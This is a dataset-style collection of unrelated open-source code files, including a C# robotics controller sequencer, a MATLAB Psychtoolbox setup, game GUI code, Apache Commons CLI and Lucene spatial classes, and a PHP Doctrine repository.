text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Reactive.Linq;
using System.Threading.Tasks;
using log4net;
using RoboticsTxt.Lib.Commands;
using RoboticsTxt.Lib.Components.Communicator;
using RoboticsTxt.Lib.Contracts;
using RoboticsTxt.Lib.Contracts.Configuration;
using RoboticsTxt.Lib.Contracts.Exceptions;

namespace RoboticsTxt.Lib.Components.Sequencer
{
    /// <summary>
    /// The <see cref="ControllerSequencer"/> provides high level methods for operation of the fischertechnik ROBOTICS TXT controller.
    /// This includes the operation of motors and inputs of any kind.
    /// </summary>
    /// <remarks>
    /// The operations provided by the <see cref="ControllerSequencer"/> are not implemented completely. More operations will follow...
    /// </remarks>
    public class ControllerSequencer : IControllerSequencer
    {
        private readonly ILog logger;
        private readonly ControllerCommunicator controllerCommunicator;
        private readonly Dictionary<Motor, MotorPositionController> motorPositionControllers;
        private readonly PositionStorageAccessor positionStorageAccessor;
        private readonly CommunicationLoopWatchDog communicationLoopWatchDog;

        private List<Position> positions;

        /// <summary>
        /// Creates the <see cref="ControllerCommunicator" />, loads the stored positions and starts the communication with the controller. To stop the communication
        /// you have to dispose the <see cref="ControllerSequencer" />.
        /// </summary>
        /// <param name="ipAddress">IP address of the controller.</param>
        /// <param name="controllerConfiguration">The controller configuration.</param>
        /// <param name="applicationConfiguration">The application configuration.</param>
        /// <exception cref="CommunicationFailedException">Exception is thrown if no connection is possible</exception>
        public ControllerSequencer(IPAddress ipAddress, ControllerConfiguration controllerConfiguration, ApplicationConfiguration applicationConfiguration)
        {
            logger = LogManager.GetLogger(typeof(ControllerSequencer));
            controllerCommunicator = new ControllerCommunicator(ipAddress, controllerConfiguration);
            motorPositionControllers = new Dictionary<Motor, MotorPositionController>();
            positionStorageAccessor = new PositionStorageAccessor(applicationConfiguration);
            communicationLoopWatchDog = new CommunicationLoopWatchDog(controllerCommunicator.CommunicationInfo.LoopReactionEvents);

            positions = positionStorageAccessor.LoadPositionsFromFile();

            controllerCommunicator.Start();
            communicationLoopWatchDog.StartWatching();
        }

        /// <summary>
        /// Creates the <see cref="ControllerCommunicator" />, loads the stored positions and starts the communication with the controller. To stop the communication
        /// you have to dispose the <see cref="ControllerSequencer" />.
        /// </summary>
        /// <param name="ipString">String with the IP address or a DNS name for the controller.</param>
        /// <param name="controllerConfiguration">The controller configuration.</param>
        /// <param name="applicationConfiguration">The application configuration.</param>
        /// <exception cref="CommunicationFailedException">Exception is thrown if no connection is possible</exception>
        public ControllerSequencer(string ipString, ControllerConfiguration controllerConfiguration, ApplicationConfiguration applicationConfiguration)
            : this(ParseAndResolveIpString(ipString), controllerConfiguration, applicationConfiguration)
        {
        }

        /// <summary>
        /// Cleanup of all resrouces. This also stops the communication to the controller.
        /// </summary>
        public void Dispose()
        {
            foreach (var motorPositionController in motorPositionControllers)
            {
                motorPositionController.Value.Dispose();
            }

            communicationLoopWatchDog.StopWatching();
            controllerCommunicator.Stop();
        }

        public void SetOutput(Output output, short outputValue)
        {
            this.controllerCommunicator.QueueCommand(new SetOutputCommand(output, outputValue));
        }

        public void StartMotor(Motor motor, Speed speed, Direction direction)
        {
            StartMotor(motor, (short)speed, direction);
        }

        public void StartMotor(Motor motor, short speed, Direction direction)
        {
            CheckMotorPositionMode(motor);

            controllerCommunicator.QueueCommand(new StartMotorCommand(motor, speed, direction));
        }

        public void StopMotor(Motor motor)
        {
            CheckMotorPositionMode(motor);

            controllerCommunicator.QueueCommand(new StopMotorCommand(motor));
        }

        public async Task<bool> StartMotorStopWithDigitalInputAsync(Motor motor, Speed speed, Direction direction, DigitalInput digitalInput, bool expectedInputState, TimeSpan? timeout = null)
        {
            return await StartMotorStopWithDigitalInputAsync(motor, (short)speed, direction, digitalInput, expectedInputState, timeout);
        }

        public async Task<bool> StartMotorStopWithDigitalInputAsync(Motor motor, short speed, Direction direction, DigitalInput digitalInput, bool expectedInputState, TimeSpan? timeout = null)
        {
            CheckMotorPositionMode(motor);

            return await StartMotorStopWithDigitalInputInternalAsync(motor, speed, direction, digitalInput, expectedInputState, timeout);
        }

        internal async Task<bool> StartMotorStopWithDigitalInputInternalAsync(Motor motor, short speed, Direction direction, DigitalInput digitalInput, bool expectedInputState, TimeSpan? timeout)
        {
            controllerCommunicator.QueueCommand(new StartMotorCommand(motor, speed, direction));
            var reachedInput = await WaitForInputAsync(digitalInput, expectedInputState, timeout);
            controllerCommunicator.QueueCommand(new StopMotorCommand(motor));

            return reachedInput;
        }

        internal async Task<bool> StartMotorStopWithDigitalInputInternalAsync(Motor motor, Speed speed, Direction direction, DigitalInput digitalInput, bool expectedInputState, TimeSpan? timeout)
        {
            return await StartMotorStopWithDigitalInputInternalAsync(motor, (short)speed, direction, digitalInput, expectedInputState, timeout);
        }

        public async Task StartMotorStopAfterTimeSpanAsync(Motor motor, Speed speed, Direction direction, TimeSpan stopAfterTimeSpan)
        {
            await StartMotorStopAfterTimeSpanAsync(motor, (short) speed, direction, stopAfterTimeSpan);
        }

        public async Task StartMotorStopAfterTimeSpanAsync(Motor motor, short speed, Direction direction, TimeSpan stopAfterTimeSpan)
        {
            CheckMotorPositionMode(motor);

            await StartMotorStopAfterTimeSpanInternalAsync(motor, speed, direction, stopAfterTimeSpan);
        }

        internal async Task StartMotorStopAfterTimeSpanInternalAsync(Motor motor, Speed speed, Direction direction, TimeSpan stopAfterTimeSpan)
        {
            await StartMotorStopAfterTimeSpanInternalAsync(motor, (short) speed, direction, stopAfterTimeSpan);
        }

        internal async Task StartMotorStopAfterTimeSpanInternalAsync(Motor motor, short speed, Direction direction, TimeSpan stopAfterTimeSpan)
        {
            controllerCommunicator.QueueCommand(new StartMotorCommand(motor, speed, direction));
            await Task.Delay(stopAfterTimeSpan);
            controllerCommunicator.QueueCommand(new StopMotorCommand(motor));
        }

        public bool GetDigitalInputState(DigitalInput referenceInput)
        {
            return controllerCommunicator.UniversalInputs[(int)referenceInput].CurrentState;
        }

        public bool CurrentlyConnectedToController => controllerCommunicator.CommunicationInfo.ConnectedToController;

        public IObservable<bool> GetDigitalInputStateChanges(DigitalInput digitalInput)
        {
            return controllerCommunicator.UniversalInputs[(int)digitalInput].StateChanges;
        }

        public IObservable<TimeSpan> CommunicationLoopCyleTimeChanges => controllerCommunicator.CommunicationInfo.CommunicationLoopCycleTimeChanges;

        public IObservable<Exception> CommunicationExceptions => controllerCommunicator.CommunicationInfo.CommunicationLoopExceptions;

        public IObservable<bool> ControllerConnectionStateChanges => controllerCommunicator.CommunicationInfo.ControllerConnectionStateChanges;

        public IObservable<object> CommunicationLoopBlockingEvents => communicationLoopWatchDog.CommunicationLoopBlockEvents;

        public void SaveCurrentPosition(string positionName)
        {
            var position = positions.FirstOrDefault(p => p.PositionName == positionName);

            if (position == null)
            {
                position = new Position {PositionName = positionName};
                foreach (var motorPositionController in motorPositionControllers.Values)
                {
                    if (motorPositionController.MotorConfiguration.IsSaveable)
                    {
                        position.MotorPositionInfos.Add(motorPositionController.GetPositionInfo());
                    }
                }

                positions.Add(position);
            }
            else
            {
                position.MotorPositionInfos.Clear();
                foreach (var motorPositionController in motorPositionControllers.Values)
                {
                    if (motorPositionController.MotorConfiguration.IsSaveable)
                    {
                        position.MotorPositionInfos.Add(motorPositionController.GetPositionInfo());
                    }
                }
            }

            positionStorageAccessor.WritePositionsToFile(positions);
        }

        public async Task MoveToPositionAsync(string positionName)
        {
            var position = positions.FirstOrDefault(p => p.PositionName == positionName);

            var positioningTasks = new List<Task>();
            if (position != null)
            {
                foreach (var motorPositionInfo in position.MotorPositionInfos)
                {
                    positioningTasks.Add(motorPositionControllers[motorPositionInfo.Motor].MoveMotorToPositionAsync(motorPositionInfo.Position));
                }

                await Task.WhenAll(positioningTasks);
            }
        }

        public void PlaySound(Sound sound, ushort repetitions)
        {
            controllerCommunicator.QueueCommand(new PlaySoundCommand(sound, repetitions));
        }

        public void StopSound()
        {
            controllerCommunicator.QueueCommand(new PlaySoundCommand(Sound.None, 0));
        }

        public MotorPositionController ConfigureMotorPositionController(MotorConfiguration motorConfiguration)
        {
            ConfigurationValidator.ValidateMotorConfiguration(motorConfiguration);

            MotorPositionController configureMotorPositionController;
            if (motorPositionControllers.TryGetValue(motorConfiguration.Motor, out configureMotorPositionController))
            {
                return configureMotorPositionController;
            }

            configureMotorPositionController = new MotorPositionController(motorConfiguration, controllerCommunicator, this);
            motorPositionControllers[motorConfiguration.Motor] = configureMotorPositionController;
            return configureMotorPositionController;
        }

        public void ReleaseMotorPositionController(MotorPositionController motorPositionController)
        {
            motorPositionControllers.Remove(motorPositionController.MotorConfiguration.Motor);
            motorPositionController.Dispose();
        }

        public List<string> GetPositionNames()
        {
            var result = new List<string>();
            foreach (var position in positions)
            {
                result.Add(position.PositionName);
            }
            return result;
        }

        private async Task<bool> WaitForInputAsync(DigitalInput digitalInput, bool expectedValue, TimeSpan? timeout)
        {
            try
            {
                var stateChanges = controllerCommunicator.UniversalInputs[(int)digitalInput].StateChanges;
                if (timeout.HasValue)
                {
                    stateChanges = stateChanges.Timeout(timeout.Value);
                }

                await stateChanges.FirstAsync(b => b == expectedValue);

                return true;
            }
            catch (TimeoutException)
            {
                logger.Warn($"Expected digital input {digitalInput} was not triggered to {expectedValue} in time.");
                return false;
            }
        }

        private void CheckMotorPositionMode(Motor motor)
        {
            if (motorPositionControllers.ContainsKey(motor))
            {
                throw new InvalidOperationException($"Motor {motor} is configured for position control and can not be commanded via controller sequencer. Use the MotorPositionController.");
            }
        }

        private static IPAddress ParseAndResolveIpString(string ipString)
        {
            IPAddress robotIp;

            if (IPAddress.TryParse(ipString, out robotIp))
                return robotIp;

            var hostEntry = Dns.GetHostEntry(ipString);
            if (hostEntry.AddressList.Length != 1)
            {
                throw new InvalidOperationException($"Did not find ip address for hostname {ipString}");
            }

            robotIp = hostEntry.AddressList[0];

            return robotIp;
        }
    }
}


text:
function [ PTB ] = StartPTB( DataStruct )

% Shortcut
Video = DataStruct.Parameters.Video;

% Use GStreamer
Screen('Preference', 'OverrideMultimediaEngine', 1);

% PTB opening screen will be empty = black screen
Screen('Preference', 'VisualDebugLevel', 1);

% Open PTB display window
switch DataStruct.WindowedMode
    case 'Off'
        WindowRect = [];
    case 'On'
        factor = 0.5;
        [ScreenWidth, ScreenHeight]=Screen('WindowSize', Video.ScreenMode);
        SmallWindow = ScaleRect( [0 0 ScreenWidth ScreenHeight] , factor , factor );
        WindowRect = CenterRectOnPoint( SmallWindow , ScreenWidth/2 , ScreenHeight/2 );
    otherwise
end

color_depth = []; % bit, only assigna specific value for backward compatibility
multisample = 4; % samples for anti-aliasing

try
    [PTB.Window,PTB.WindowRect] = Screen('OpenWindow',Video.ScreenMode,Video.ScreenBackgroundColor,WindowRect,color_depth,[],[],multisample);
catch err
    disp(err)
    Screen('Preference', 'SkipSyncTests', 1)
    [PTB.Window,PTB.WindowRect] = Screen('OpenWindow',Video.ScreenMode,Video.ScreenBackgroundColor,WindowRect,color_depth,[],[],multisample);
end

% Set max priority
PTB.oldLevel         = Priority();
PTB.maxPriorityLevel = MaxPriority( PTB.Window );
PTB.newLevel         = Priority( PTB.maxPriorityLevel );

% Refresh time of the monitor
PTB.slack = Screen('GetFlipInterval', PTB.Window)/2;
PTB.IFI   = Screen('GetFlipInterval', PTB.Window);
PTB.FPS   = Screen('FrameRate', PTB.Window);

% Set up alpha-blending for smooth (anti-aliased) lines and alpha-blending
% (transparent background textures)
% Screen('BlendFunction', PTB.Window, 'GL_SRC_ALPHA', 'GL_ONE_MINUS_SRC_ALPHA');

% Center
[ PTB.CenterH , PTB.CenterV ] = RectCenter( PTB.WindowRect );

% B&W colors
PTB.Black = BlackIndex( PTB.Window );
PTB.White = WhiteIndex( PTB.Window );

%% Warm up

GetSecs;
KbCheck;
Screen('Flip',PTB.Window);
WaitSecs(0.100);

%% Echo in command window

disp('---------------------');
disp(['--- ' mfilename ' done ---']);
disp('---------------------');
disp(' ');

end

redpajama_set_name: RedPajamaGithub


text:
from pandac.PandaModules import NodePath
from direct.interval.MetaInterval import Sequence
from direct.interval.FunctionInterval import Func
from toontown.toonbase.ToontownTimer import ToontownTimer
from toontown.toonbase import ToontownIntervals
from CogdoMazeGameGuis import CogdoMazeHud, CogdoMazeMapGui, CogdoMazeBossGui
from CogdoGameMessageDisplay import CogdoGameMessageDisplay
import CogdoMazeGameGlobals as Globals
from CogdoMemoGui import CogdoMemoGui

class CogdoMazeGuiManager:

    def __init__(self, maze, bossCode):
        self.maze = maze
        self.root = NodePath('CogdoMazeGui')
        self.root.reparentTo(aspect2d)
        self.mazeMapGui = CogdoMazeMapGui(self.maze.collisionTable)
        if bossCode is not None:
            self._bossGui = CogdoMazeBossGui(bossCode)
        else:
            self._bossGui = None
        self._memoGui = CogdoMemoGui(self.root)
        self._memoGui.posNextToLaffMeter()
        self._presentGuiIval = None
        self._presentTimerIval = None
        self._hud = CogdoMazeHud()
        self._timer = None
        self._initMessageDisplay()
        return

    def _initTimer(self):
        self._timer = ToontownTimer()
        self._timer.hide()
        self._timer.posInTopRightCorner()

    def _initMessageDisplay(self):
        self.messageDisplay = CogdoGameMessageDisplay('CogdoMazeMessageDisplay', self.root, pos=Globals.MessageLabelPos)

    def destroy(self):
        ToontownIntervals.cleanup('present_gui')
        ToontownIntervals.cleanup('present_timer')
        ToontownIntervals.cleanup('present_memo')
        self._hud.destroy()
        self._hud = None
        self._memoGui.destroy()
        self._memoGui = None
        if self._bossGui is not None:
            self._bossGui.destroy()
            self._bossGui = None
        self.messageDisplay.destroy()
        self.messageDisplay = None
        self.destroyMazeMap()
        self.destroyTimer()
        if self._presentGuiIval:
            self._presentGuiIval.pause()
            self._presentGuiIval = None
        if self._presentTimerIval:
            self._presentTimerIval.pause()
            self._presentTimerIval = None
        return

    def destroyMazeMap(self):
        if hasattr(self, 'mazeMapGui') and self.mazeMapGui is not None:
            self.mazeMapGui.destroy()
            del self.mazeMapGui
        return

    def destroyTimer(self):
        if self._timer is not None:
            self._timer.stop()
            self._timer.destroy()
            self._timer = None
        return

    def showPickupCounter(self):
        ToontownIntervals.start(ToontownIntervals.getPresentGuiIval(self._memoGui, 'present_memo'))

    def startGame(self, firstMessage):
        self._presentGuiIval = ToontownIntervals.start(Sequence(ToontownIntervals.getPresentGuiIval(self._bossGui, '', startPos=(0, 0, -0.15)), Func(self.mazeMapGui.show), ToontownIntervals.getPulseLargerIval(self.mazeMapGui, '', scale=self.mazeMapGui.getScale()), Func(self.setMessage, firstMessage), name='present_gui'))

    def hideMazeMap(self):
        self.mazeMapGui.hide()

    def showBossGui(self):
        if self._bossGui is not None:
            self._bossGui.show()
        return

    def hideBossGui(self):
        if self._bossGui is not None:
            self._bossGui.hide()
        return

    def revealMazeMap(self):
        self.mazeMapGui.revealAll()

    def hideLock(self, lockIndex):
        self.mazeMapGui.hideLock(lockIndex)

    def showTimer(self, duration, timerExpiredCallback = None):
        if self._timer is None:
            self._initTimer()
        self._timer.setTime(duration)
        self._timer.countdown(duration, timerExpiredCallback)
        self._presentTimerIval = ToontownIntervals.start(ToontownIntervals.getPresentGuiIval(self._timer, 'present_timer', startPos=(0, 0, 0.35)))
        return

    def hideTimer(self):
        if hasattr(self, 'timer') and self._timer is not None:
            self._timer.hide()
            self._timer.stop()
        return

    def setMessage(self, text, color = None, transition = 'fade'):
        self.messageDisplay.updateMessage(text, color, transition)

    def setMessageTemporary(self, text, time = 3.0):
        self.messageDisplay.showMessageTemporarily(text, time)

    def clearMessage(self):
        self.messageDisplay.updateMessage('')

    def setPickupCount(self, count):
        self._memoGui.setCount(count)

    def showBossCode(self, bossIndex):
        self._bossGui.showNumber(bossIndex)

    def showBossHit(self, bossIndex):
        self._bossGui.showHit(bossIndex)

    def showQuestArrow(self, toon, target, offset):
        self._hud.showQuestArrow(toon, target, offset)

    def hideQuestArrow(self):
        self._hud.hideQuestArrow()


text:
from struct import *

if "Struct" not in locals():
    class Struct(object):

        def __init__(self, format):
            self.format = format

        def pack(self, *args):
            """Identical to the pack() function, using the compiled format. (len(result) will equal self.size.)"""
            return pack(self.format, *args)

        def pack_into(self, buffer, offset, *args):
            """Identical to the pack_into() function, using the compiled format."""
            return pack_into(self.format, buffer, offset, *args)

        def unpack(self, string):
            """Identical to the unpack() function, using the compiled format. (len(string) must equal self.size)."""
            return unpack(self.format, string)

        def unpack_from(self, buffer, offset=0):
            """Identical to the unpack_from() function, using the compiled format. (len(buffer[offset:]) must be at least self.size)."""
            unpack_from(self.format, buffer, offset)

        @property
        def size(self):
            """The calculated size of the struct (and hence of the string) corresponding to format."""
            return calcsize(self.format)


text:
#import <Foundation/Foundation.h>
#import "PBBiometryUser.h"

/* Finger positions. */
typedef enum {
	PBFingerPositionUnknown,
	PBFingerPositionRightThumb,
	PBFingerPositionRightIndex,
	PBFingerPositionRightMiddle,
	PBFingerPositionRightRing,
	PBFingerPositionRightLittle,
	PBFingerPositionLeftThumb,
	PBFingerPositionLeftIndex,
	PBFingerPositionLeftMiddle,
	PBFingerPositionLeftRing,
	PBFingerPositionLeftLittle
} PBFingerPosition;

/** A finger, identified uniquely by it's position and user. */
@interface PBBiometryFinger : NSObject <NSCoding> {
	/** The position of the finger, e.g. 'right index' or 'left middle'. */
	PBFingerPosition position;
	/** The user of the finger. */
	PBBiometryUser *user;
}
@property (nonatomic, readonly) PBFingerPosition position;
@property (nonatomic, readonly) PBBiometryUser *user;

-(id) initWithPosition: (PBFingerPosition) aPosition
               andUser: (PBBiometryUser*)aUser;

-(id) initWithPosition: (PBFingerPosition) aPosition
             andUserId: (uint32_t)aUserId;

/** Returns YES if the two fingers are equal, otherwise NO. */
-(BOOL) isEqualToFinger: (PBBiometryFinger*) finger;

/** Returns YES if the finger is a finger on the left hand. */
-(BOOL) isOnLeftHand;

/** Returns the "visual" position of the finger. This may e.g. be used
  * to tell if a certain finger is 'to the right' of (>) another finger.
  * E.g. left little = 1, left ring = 2, ... , right little = 10. */
-(NSUInteger) visualPosition;

@end


text:
export * from './module';
export * from './component';


text:
package org.apache.commons.cli;

/**
 *

 * Allows Options to be created from a single String.
 * The pattern contains various single character flags and via
 * an optional punctuation character, their expected type.
 *

 *
 *

 *
a	-a flag

 *
b@	-b [classname]

 *
c>	-c [filename]

 *
d+	-d [classname] (creates object via empty contructor)

 *
e%	-e [number] (creates Double/Long instance depeding on existing of a '.')

 *
f/	-f [url]

 *
g:	-g [string]

 *

 *
 *

 * For example, the following allows command line flags of '-v -p string-value -f /dir/file'.
 *

 * Options options = PatternOptionBuilder.parsePattern("vp:f/");
 *
 *

 * TODO These need to break out to OptionType and also
 * to be pluggable.
 *

 *
 * @author Henri Yandell (bayard @ generationjava.com)
 * @version $Revision: 542144 $
 */
public class PatternOptionBuilder {

    /** String class */
    public static final Class STRING_VALUE = java.lang.String.class;

    /** Object class */
    public static final Class OBJECT_VALUE = java.lang.Object.class;

    /** Number class */
    public static final Class NUMBER_VALUE = java.lang.Number.class;

    /** Date class */
    public static final Class DATE_VALUE = java.util.Date.class;

    /** Class class */
    public static final Class CLASS_VALUE = java.lang.Class.class;

    /// can we do this one??
    // is meant to check that the file exists, else it errors.
    // ie) it's for reading not writing.

    /** FileInputStream class */
    public static final Class EXISTING_FILE_VALUE =
            java.io.FileInputStream.class;

    /** File class */
    public static final Class FILE_VALUE = java.io.File.class;

    /** File array class */
    public static final Class FILES_VALUE = java.io.File[].class;

    /** URL class */
    public static final Class URL_VALUE = java.net.URL.class;

    /**
     *
Retrieve the class that ch represents.

     *
     * @param ch the specified character
     * @return The class that ch represents
     */
    public static Object getValueClass(char ch)
    {
        if (ch == '@')
        {
            return PatternOptionBuilder.OBJECT_VALUE;
        }
        else if (ch == ':')
        {
            return PatternOptionBuilder.STRING_VALUE;
        }
        else if (ch == '%')
        {
            return PatternOptionBuilder.NUMBER_VALUE;
        }
        else if (ch == '+')
        {
            return PatternOptionBuilder.CLASS_VALUE;
        }
        else if (ch == '#')
        {
            return PatternOptionBuilder.DATE_VALUE;
        }
        else if (ch == '<')
        {
            return PatternOptionBuilder.EXISTING_FILE_VALUE;
        }
        else if (ch == '>')
        {
            return PatternOptionBuilder.FILE_VALUE;
        }
        else if (ch == '*')
        {
            return PatternOptionBuilder.FILES_VALUE;
        }
        else if (ch == '/')
        {
            return PatternOptionBuilder.URL_VALUE;
        }

        return null;
    }

    /**
     *
Returns whether ch is a value code, i.e.
     * whether it represents a class in a pattern.

     *
     * @param ch the specified character
     * @return true if ch is a value code, otherwise false.
     */
    public static boolean isValueCode(char ch)
    {
        if ((ch != '@') && (ch != ':') && (ch != '%') && (ch != '+')
            && (ch != '#') && (ch != '<') && (ch != '>') && (ch != '*')
            && (ch != '/') && (ch != '!'))
        {
            return false;
        }

        return true;
    }

    /**
     *
Returns the {@link Options} instance represented by
     * pattern.

     *
     * @param pattern the pattern string
     * @return The {@link Options} instance
     */
    public static Options parsePattern(String pattern)
    {
        int sz = pattern.length();

        char opt = ' ';
        char ch = ' ';
        boolean required = false;
        Object type = null;

        Options options = new Options();

        for (int i = 0; i < sz; i++)
        {
            ch = pattern.charAt(i);

            // a value code comes after an option and specifies
            // details about it
            if (!isValueCode(ch))
            {
                if (opt != ' ')
                {
                    OptionBuilder.hasArg(type != null);
                    OptionBuilder.isRequired(required);
                    OptionBuilder.withType(type);

                    // we have a previous one to deal with
                    options.addOption(OptionBuilder.create(opt));
                    required = false;
                    type = null;
                    opt = ' ';
                }

                opt = ch;
            }
            else if (ch == '!')
            {
                required = true;
            }
            else
            {
                type = getValueClass(ch);
            }
        }

        if (opt != ' ')
        {
            OptionBuilder.hasArg(type != null);
            OptionBuilder.isRequired(required);
            OptionBuilder.withType(type);

            // we have a final one to deal with
            options.addOption(OptionBuilder.create(opt));
        }

        return options;
    }
}


text:
package org.apache.lucene.spatial.prefix;

import java.io.IOException;

import com.spatial4j.core.context.SpatialContext;
import com.spatial4j.core.distance.DistanceUtils;
import com.spatial4j.core.shape.Circle;
import com.spatial4j.core.shape.Point;
import com.spatial4j.core.shape.Rectangle;
import com.spatial4j.core.shape.Shape;
import com.spatial4j.core.shape.SpatialRelation;
import org.apache.lucene.index.LeafReaderContext;
import org.apache.lucene.search.DocIdSet;
import org.apache.lucene.spatial.prefix.tree.Cell;
import org.apache.lucene.spatial.prefix.tree.CellIterator;
import org.apache.lucene.spatial.prefix.tree.SpatialPrefixTree;
import org.apache.lucene.util.BitDocIdSet;
import org.apache.lucene.util.Bits;
import org.apache.lucene.util.FixedBitSet;

/**
 * Finds docs where its indexed shape is {@link org.apache.lucene.spatial.query.SpatialOperation#IsWithin
 * WITHIN} the query shape.  It works by looking at cells outside of the query
 * shape to ensure documents there are excluded. By default, it will
 * examine all cells, and it's fairly slow.  If you know that the indexed shapes
 * are never comprised of multiple disjoint parts (which also means it is not multi-valued),
 * then you can pass {@code SpatialPrefixTree.getDistanceForLevel(maxLevels)} as
 * the {@code queryBuffer} constructor parameter to minimally look this distance
 * beyond the query shape's edge.  Even if the indexed shapes are sometimes
 * comprised of multiple disjoint parts, you might want to use this option with
 * a large buffer as a faster approximation with minimal false-positives.
 *
 * @lucene.experimental
 */
public class WithinPrefixTreeQuery extends AbstractVisitingPrefixTreeQuery {
  //TODO LUCENE-4869: implement faster algorithm based on filtering out false-positives of a
  //  minimal query buffer by looking in a DocValues cache holding a representative
  //  point of each disjoint component of a document's shape(s).

  //TODO Could the recursion in allCellsIntersectQuery() be eliminated when non-fuzzy or other
  //  circumstances?

  private final Shape bufferedQueryShape;//if null then the whole world

  /**
   * See {@link AbstractVisitingPrefixTreeQuery#AbstractVisitingPrefixTreeQuery(com.spatial4j.core.shape.Shape, String, org.apache.lucene.spatial.prefix.tree.SpatialPrefixTree, int, int)}.
   * {@code queryBuffer} is the (minimum) distance beyond the query shape edge
   * where non-matching documents are looked for so they can be excluded. If
   * -1 is used then the whole world is examined (a good default for correctness).
   */
  public WithinPrefixTreeQuery(Shape queryShape, String fieldName, SpatialPrefixTree grid,
                               int detailLevel, int prefixGridScanLevel,
                               double queryBuffer) {
    super(queryShape, fieldName, grid, detailLevel, prefixGridScanLevel);
    this.bufferedQueryShape = queryBuffer == -1 ? null : bufferShape(queryShape, queryBuffer);
  }

  @Override
  public boolean equals(Object o) {
    if (!super.equals(o)) return false;//checks getClass == o.getClass & instanceof

    WithinPrefixTreeQuery that = (WithinPrefixTreeQuery) o;

    if (bufferedQueryShape != null ? !bufferedQueryShape.equals(that.bufferedQueryShape) : that.bufferedQueryShape != null)
      return false;

    return true;
  }

  @Override
  public int hashCode() {
    int result = super.hashCode();
    result = 31 * result + (bufferedQueryShape != null ? bufferedQueryShape.hashCode() : 0);
    return result;
  }

  @Override
  public String toString(String field) {
    return getClass().getSimpleName() + "(" +
             "fieldName=" + fieldName + "," +
             "queryShape=" + queryShape + "," +
             "detailLevel=" + detailLevel + "," +
             "prefixGridScanLevel=" + prefixGridScanLevel +
           ")";
  }

  /** Returns a new shape that is larger than shape by at distErr.
   */
  //TODO move this generic code elsewhere?  Spatial4j?
  protected Shape bufferShape(Shape shape, double distErr) {
    if (distErr <= 0)
      throw new IllegalArgumentException("distErr must be > 0");
    SpatialContext ctx = grid.getSpatialContext();
    if (shape instanceof Point) {
      return ctx.makeCircle((Point)shape, distErr);
    } else if (shape instanceof Circle) {
      Circle circle = (Circle) shape;
      double newDist = circle.getRadius() + distErr;
      if (ctx.isGeo() && newDist > 180)
        newDist = 180;
      return ctx.makeCircle(circle.getCenter(), newDist);
    } else {
      Rectangle bbox = shape.getBoundingBox();
      double newMinX = bbox.getMinX() - distErr;
      double newMaxX = bbox.getMaxX() + distErr;
      double newMinY = bbox.getMinY() - distErr;
      double newMaxY = bbox.getMaxY() + distErr;
      if (ctx.isGeo()) {
        if (newMinY < -90)
          newMinY = -90;
        if (newMaxY > 90)
          newMaxY = 90;
        if (newMinY == -90 || newMaxY == 90 || bbox.getWidth() + 2*distErr > 360) {
          newMinX = -180;
          newMaxX = 180;
        } else {
          newMinX = DistanceUtils.normLonDEG(newMinX);
          newMaxX = DistanceUtils.normLonDEG(newMaxX);
        }
      } else {
        //restrict to world bounds
        newMinX = Math.max(newMinX, ctx.getWorldBounds().getMinX());
        newMaxX = Math.min(newMaxX, ctx.getWorldBounds().getMaxX());
        newMinY = Math.max(newMinY, ctx.getWorldBounds().getMinY());
        newMaxY = Math.min(newMaxY, ctx.getWorldBounds().getMaxY());
      }
      return ctx.makeRectangle(newMinX, newMaxX, newMinY, newMaxY);
    }
  }

  @Override
  protected DocIdSet getDocIdSet(LeafReaderContext context) throws IOException {
    return new VisitorTemplate(context) {
      private FixedBitSet inside;
      private FixedBitSet outside;

      @Override
      protected void start() {
        inside = new FixedBitSet(maxDoc);
        outside = new FixedBitSet(maxDoc);
      }

      @Override
      protected DocIdSet finish() {
        inside.andNot(outside);
        return new BitDocIdSet(inside);
      }

      @Override
      protected CellIterator findSubCellsToVisit(Cell cell) {
        //use buffered query shape instead of orig.  Works with null too.
        return cell.getNextLevelCells(bufferedQueryShape);
      }

      @Override
      protected boolean visitPrefix(Cell cell) throws IOException {
        //cell.relate is based on the bufferedQueryShape; we need to examine what
        // the relation is against the queryShape
        SpatialRelation visitRelation = cell.getShape().relate(queryShape);
        if (cell.getLevel() == detailLevel) {
          collectDocs(visitRelation.intersects() ? inside : outside);
          return false;
        } else if (visitRelation == SpatialRelation.WITHIN) {
          collectDocs(inside);
          return false;
        } else if (visitRelation == SpatialRelation.DISJOINT) {
          collectDocs(outside);
          return false;
        }
        return true;
      }

      @Override
      protected void visitLeaf(Cell cell) throws IOException {
        if (allCellsIntersectQuery(cell))
          collectDocs(inside);
        else
          collectDocs(outside);
      }

      /** Returns true if the provided cell, and all its sub-cells down to
       * detailLevel all intersect the queryShape.
       */
      private boolean allCellsIntersectQuery(Cell cell) {
        SpatialRelation relate = cell.getShape().relate(queryShape);
        if (cell.getLevel() == detailLevel)
          return relate.intersects();
        if (relate == SpatialRelation.WITHIN)
          return true;
        if (relate == SpatialRelation.DISJOINT)
          return false;
        // Note: Generating all these cells just to determine intersection is not ideal.
        // The real solution is LUCENE-4869.
        CellIterator subCells = cell.getNextLevelCells(null);
        while (subCells.hasNext()) {
          Cell subCell = subCells.next();
          if (!allCellsIntersectQuery(subCell))//recursion
            return false;
        }
        return true;
      }

      @Override
      protected void visitScanned(Cell cell) throws IOException {
        visitLeaf(cell);//collects as we want, even if not a leaf
//        if (cell.isLeaf()) {
//          visitLeaf(cell);
//        } else {
//          visitPrefix(cell);
//        }
      }

    }.getDocIdSet();
  }

}


text:
<?php

namespace Sportnetzwerk\SpnBundle\Entity;

use Doctrine\ORM\EntityRepository;

/**
 * SportscategoriesRepository
 *
 * This class was generated by the Doctrine ORM. Add your own custom
 * repository methods below.
 */
class SportscategoriesRepository extends EntityRepository
{

    public function getCategoryTree()
    {
        $em = $this->getEntityManager();

        $res = $em->createQuery("SELECT sc.name, sc.id as cat from "
                        . "SportnetzwerkSpnBundle:Sportscategories sc order by cat"
                        )
                ->getResult();
        foreach( $res as $k => $v )
        {
            $current = $this->find($v['cat']);
            $sports = $current->getSports();
            foreach($sports as $sport)
            {
                $relatedSports[$sport->getId()] =  $sport->getName();//danger - this hurts!..calm t.f.d.
            }
            $cats[$v['name']] = $relatedSports;
            unset($relatedSports);
        }

        //trigger_error(var_export($cats, true));
        return $cats;

    }
}


text:
package com.intellij.tasks.actions;

import com.intellij.openapi.project.Project;
import com.intellij.openapi.ui.DialogWrapper;
import com.intellij.tasks.Comment;
import com.intellij.tasks.Task;
import com.intellij.ui.CollectionListModel;
import com.intellij.ui.ColoredListCellRenderer;
import com.intellij.unscramble.AnalyzeStacktraceUtil;
import com.intellij.util.ArrayUtil;
